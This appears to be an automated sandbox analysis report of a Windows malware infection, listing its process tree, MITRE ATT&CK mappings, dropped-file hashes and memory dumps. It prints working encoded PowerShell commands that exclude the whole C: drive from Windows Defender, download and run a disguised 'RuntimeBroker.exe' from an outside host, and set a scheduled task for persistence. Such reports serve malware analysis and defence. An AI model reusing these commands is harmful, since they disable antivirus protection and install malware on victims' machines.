    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3660
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2244
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
        6⤵
        
        PID:2564
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3328
      - C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1444
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4660
        
        C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4032
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3032 /prefetch:1
  2⤵
  PID:4288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4064 /prefetch:1
  2⤵
  PID:4040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6380 /prefetch:1
  2⤵
  PID:3920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2972 /prefetch:1
  2⤵
  PID:2664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1880 /prefetch:1
  2⤵
  PID:4420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6728 /prefetch:1
  2⤵
  PID:4648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6936 /prefetch:1
  2⤵
  PID:4428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7144 /prefetch:1
  2⤵
  PID:1280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6600 /prefetch:1
  2⤵
  PID:4928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
  2⤵
  PID:1452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:1
  2⤵
  PID:3336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3052 /prefetch:1
  2⤵
  PID:4384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3576 /prefetch:1
  2⤵
  PID:1364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6692 /prefetch:8
  2⤵
  PID:1112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6828 /prefetch:2
  2⤵
  PID:2940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=2020,10533643097130953511,3189725836580096261,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5580 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:1420

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3380

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1700

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\t.cmd
1⤵
- Opens file in notepad (likely ransom note)
PID:464

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1796

C:\Windows\System32\kpkopw.exe
"C:\Windows\System32\kpkopw.exe"
1⤵
PID:4012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RuntimeBroker.exe.log

Filesize
1KB

MD5
baf55b95da4a601229647f25dad12878

SHA1
abc16954ebfd213733c4493fc1910164d825cac8

SHA256
ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

SHA512
24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
85ba073d7015b6ce7da19235a275f6da

SHA1
a23c8c2125e45a0788bac14423ae1f3eab92cf00

SHA256
5ad04b8c19bf43b550ad725202f79086168ecccabe791100fba203d9aa27e617

SHA512
eb4fd72d7030ea1a25af2b59769b671a5760735fb95d18145f036a8d9e6f42c903b34a7e606046c740c644fab0bb9f5b7335c1869b098f121579e71f10f5a9c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
7de1bbdc1f9cf1a58ae1de4951ce8cb9

SHA1
010da169e15457c25bd80ef02d76a940c1210301

SHA256
6e390bbc0d03a652516705775e8e9a7b7936312a8a5bea407f9d7d9fa99d957e

SHA512
e4a33f2128883e71ab41e803e8b55d0ac17cbc51be3bde42bed157df24f10f34ad264f74ef3254dbe30d253aca03158fde21518c2b78aaa05dae8308b1c5f30c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000020

Filesize
215KB

MD5
d79b35ccf8e6af6714eb612714349097

SHA1
eb3ccc9ed29830df42f3fd129951cb8b791aaf98

SHA256
c8459799169b81fdab64d028a9ebb058ea2d0ad5feb33a11f6a45a54a5ccc365

SHA512
f4be1c1e192a700139d7cff5059af81c0234ed5f032796036a1a4879b032ce4eedd16a121bbf776f17bc84a0012846f467ad48b46db4008841c25b779c7d8f5a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
336B

MD5
e144dd583ed5303b55caadb12edee8ba

SHA1
e7e98203aef00acefb754e2b31b2031416b282f2

SHA256
9a9344f5ec145c2aa0640a7b1776762058a7b3becf4828699d98414165a57c9e

SHA512
39d8289b830fad78c91ea62cd80fbfed4e96b003ea23de58df380837e5d58b7f831c09c7ff96d1243bf486d70f2082196dca5b91b85c80f9bd396645ec5f736d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
6172ec5ecf29d8a97615ec5d1a128a16

SHA1
75437c6f8185d0508d84f9544170e079f496eb93

SHA256
99dc63be680150c3c5c8eb0f57e07b298b462fe2d5be2844ad0deaf232bec235

SHA512
810740a5e9644caba6f685625f55f5d2e4c4254fac7c6934abdafa2c3e26f08529a3cc599ffb005a3735e7e61be47afc09995861f1e652f44051a030fa79ea87

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
643B

MD5
0cc71a68130e978558add0c8f7860d16

SHA1
78efb81d3aeeab14257d808cc6fd2f6e66c6bb85

SHA256
b16f159b2a59920cc65870afc9e24af26dab265526df6cd640f7bd9cd3caf554

SHA512
ef8b2fb08e4617f46f261cfcac7d0e053e940b04add5080c4566e4c7f629c2071c65473469dc74ef788c4acf152bd136d68644ec635fa069867235470b446b6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
9acae80b9a350e91b8bf1e835eac3947

SHA1
4d8b61ab8320cb2f7acbc384ceb2d3d0d910851c

SHA256
6b4e47d18cef28bf6e32f45fc13640f14a9df7f8238939e7464408e094895e8e

SHA512
ad29d622974916c718d203e28d06971944af10b94d64b1ea7a2d7203aaba1d49f6409791f988086848ce1c356bf65cab1183ebef4b47bf3d25766116690e4b1a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
e96f0f77065c0ed56905268e29923af3

SHA1
8fb84ae4984de9e2fbc25ee0a752d0a0b859efe0

SHA256
f5edf82d9250b8a415c9edef9c5a39fde44a046f5b70e3e99798d3fd39bd3059

SHA512
065b4f58c947e6b2ca5e93114019bbeb1cf0256985811b1c68c3fd4abc8b46620a91fbcd046c16a491187de909c4771d0e50f52f1eb0427602284a5b3d1bf5de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
680fc2e4385242fd6dd662de71b99813

SHA1
f783cbf89e96a9638255c7d93ce95f19542717a5

SHA256
8f98f6373b9387a43afcf636081fa0a1a7d4d3762cd8eb5456474a8cfa991991

SHA512
70330de8e8f3228475ad5e37da2b450c9883ceb4ab53204c82a8bd94dc7244748dd080112472a3ebee42e0b8e99aba9b5be3cb9a34aa2939c7443dc265f706ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
d4019550fc129b3ed755df13bf479786

SHA1
b891964eea42fea57eb521050073e44d7140826f

SHA256
572e189e64a8379124493672093b5336b9685002e2cb41c14ecfdf4058c64f61

SHA512
f52f5d60677957431fc302abc5e9aaa19fcd68072b51e29bc789eaf218749a1e9aaddc9333b6535059cffa7253ae9842694f16795daf9d08111678e72be8b851

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
6c7e71a9ad370d1acd71431198d77fa1

SHA1
06ca4d5b40f8b60193b12a314cd611969ad4a581

SHA256
39fd33a794a558923afa282cc835df78356211571958d8ca0cc6d6d1676641dd

SHA512
05a6963c0ec1433fb2dca06540a398d937714f1120c2638fc606026e2f802070611c9940d53c7d4399455e00a666c3fc29a80c02f2aec1c3dd30fd921f0afd57

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
48B

MD5
66ef05d870022d03db9bcc02134a4ee3

SHA1
fb48c348becd98996274813ce5eab9a60e3686d7

SHA256
1cdb09b58d8f9aaabec04184fc8026b240f20ae7c58e0e5a936964b2a8056895

SHA512
d312e70b81a82166fffe7361247c9a5050326bfaafe710b3fbcb9d96c619815a5932eff857823396e39f40d8ecd716b5de4660172b0803d2e08aad357fb23ec6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
bbcb66d1ca43c215e3c0b7890d4b7f0b

SHA1
99463fba558045f239e8c3b965c94f867f79d9a7

SHA256
4607f968fc2db193eb74200b1e334b8385ffb35ea47e229519dea5dc37133f13

SHA512
f9da8a55a0434631ff34878b71d446357da072744e2d36ef6fcf7f1c96534eb1e0eb8ca3e98facfe6d892bdfc935644e882abcb6229c91ee098844bd94099635

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
9671a8f3a8c5801c1dbf456db8c0a40e

SHA1
a7e6562aea485951b475e4fa0ccbee2d3f07ef55

SHA256
88382121003c2a072f69b89f63c1927e1a05640bfd3c6656e2490606b0eb44d1

SHA512
f460624f0ac634c4c92a2b2e66d0206419a1bb9f0caa9d9550fc00b60e3d7a771ee993ac8efb59c3a9049b5470a0717172bb8a80b8208cf4711c30474bf6c979

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe593771.TMP

Filesize
539B

MD5
e52c86817ac221f93893722906449a2b

SHA1
4bf815f5e50555dbb8fef85ffd62963fb58f9f7e

SHA256
743ea773bd504563eb7bc551a63f30775557d1d09bfe71bb8064d64bf54144b1

SHA512
740b91224d0f01cc7b57964037dc3143a4981117e3b00cc80eafd4ef2fa1f6b1855c5000c44e71f7ad85f6966ddfce31027692d5daddd998bc139801841393b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
a35b443451a2ce69a1a9036a2cb14508

SHA1
9df666af80f5696a9b759ccab1a792c4cec1e9c0

SHA256
afd3e508c0edf60338b45f7656f13656d0381d945d60a4cde4060100b42134d2

SHA512
76a7e4ae8fae55a0a01dcf10bb3110c988aa5cbfd02bc98d675d04b848684a649bc65421b954dda9a016824e8f4d11ded8e8f5bd6d40c5589f5da5f695e3830f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
0e1d258218b50446579671ffd0cda347

SHA1
b88fdd7004ad395208cc2ebe990c178a68c6994e

SHA256
d81929198977e8012645f6703a8c40089448b66e04b9971f37da90adf67453f4

SHA512
6d23109cfb7b7e18b8a3b96909d8ae20e9ee4c63c00ff5ef9261f04d2424bcc20c2c83ff9139cec4693dc0baad5f7bd040b4eeaca13a3b23a29a8100a9a9576b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
e82ef45789104f8d8306e3c6488957f9

SHA1
8baaef0b2cb48edb30833e8f26eef57fe8a61680

SHA256
ff87f98b21973cddad30c9f125d31a18b8d7a7d011af74f9fcfc71788c532237

SHA512
2f3a58dd48a4560b111c4051389a44fe24728862d69dca24a1183b5a0e4d3b98eab7dfa6b1d37d2abebd86dfa39103d5cc3301888cd8ccd0a59b2e9867e11341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
3406aba91c098e36c73d2c4836734978

SHA1
c141973e1337eafaeb85c8ac3a57bc14c8c04b8f

SHA256
2b19befe8d983bb070325d963b7b2eeb1032087fdcf4fbd079a7a9cf27ce6242

SHA512
69af65b9d7f8ad73ff9e6e9da4d6f413464dc6909aea7b7c6569751b5b53665eacaca563a8a1a11717bddfdef898a280a4327a8e468f6ff755622c68c2c65ea2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
ec63b5bcbc29f74eba8eaf5890d4139a

SHA1
856cf5f74fed261be68f5400bc33285748baaddb

SHA256
3f5d616230b41abe1c6ba3a6f3312f1a07e6cbda6bfd8134f2fecea09c720d32

SHA512
4132d5385aae50eca85e6ea7579fcb6aa7cf98e61e2ac463cc3768601a0610f5019a196c6d5a3c4f50c1e16f98f6bd6a63e2cfef7fc140dbaca4ffdd37978284

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
7a6c27096da39ffcc9b4b484b47d439c

SHA1
9d502dd8fcb8bad6656a94f0ad93077433c78efe

SHA256
4f3a0da3964b528978cd6147c0a31079c6c2be1daca75452908cd29ea94fef07

SHA512
0578837335866cd5fb511494f2a17fa507052d0cf1375a4dbe3f2afb43509bbe3145044df115ecb28cdae64c7d1449a6b6328e20e4f28d0eefb06197d963f976

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe

Filesize
3.1MB

MD5
b94af11cca65c557d23559e978a49d18

SHA1
0c3436d0c5df8e2e39bf4869bbe4413ca8d594b7

SHA256
f6a0a782d574de811fe66ecf6416c69b486f9ca20faf96cfc863a00063306338

SHA512
c1254360b2382957f043b8edcf36b28f13a93d0860dc9609d9b46eded81bc004e4149113e9eaad8b4d2cc18164942588bd4e97ecd8fce4f9afd8e537bc668b16

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hr43flkd.1st.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 337702.crdownload

Filesize
1KB

MD5
104cc53cf2a78348c132b27766627399

SHA1
6c1c7eff5c6f5520473f8c861c9408b0cd07d7cf

SHA256
995acc6b43d40f9f8236dfc7b581a8afa2f06c538222d329fef9e6f0b6f4bd18

SHA512
290406d75bdec56531723c245fe55f632415abd4022fb9aebd6a332d0eb33cbd9dec241076534a2265eeacc617afa058cc5c9b170859dc3263042af1e30d1e0b

Download Submit
memory/1444-217-0x0000000000310000-0x0000000000634000-memory.dmp

Filesize
3.1MB

Download
memory/1796-306-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-308-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-307-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-309-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-305-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-304-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-310-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-299-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-300-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/1796-298-0x000001BC9CC10000-0x000001BC9CC11000-memory.dmp

Filesize
4KB

Download
memory/4032-245-0x000000001E640000-0x000000001EB68000-memory.dmp

Filesize
5.2MB

Download
memory/4032-233-0x000000001D6D0000-0x000000001D70C000-memory.dmp

Filesize
240KB

Download
memory/4032-232-0x000000001D670000-0x000000001D682000-memory.dmp

Filesize
72KB

Download
memory/4032-231-0x000000001D710000-0x000000001D7C2000-memory.dmp

Filesize
712KB

Download
memory/4032-230-0x000000001D600000-0x000000001D650000-memory.dmp

Filesize
320KB

Download
memory/5080-128-0x000001C0A5990000-0x000001C0A59B2000-memory.dmp

Filesize
136KB

Download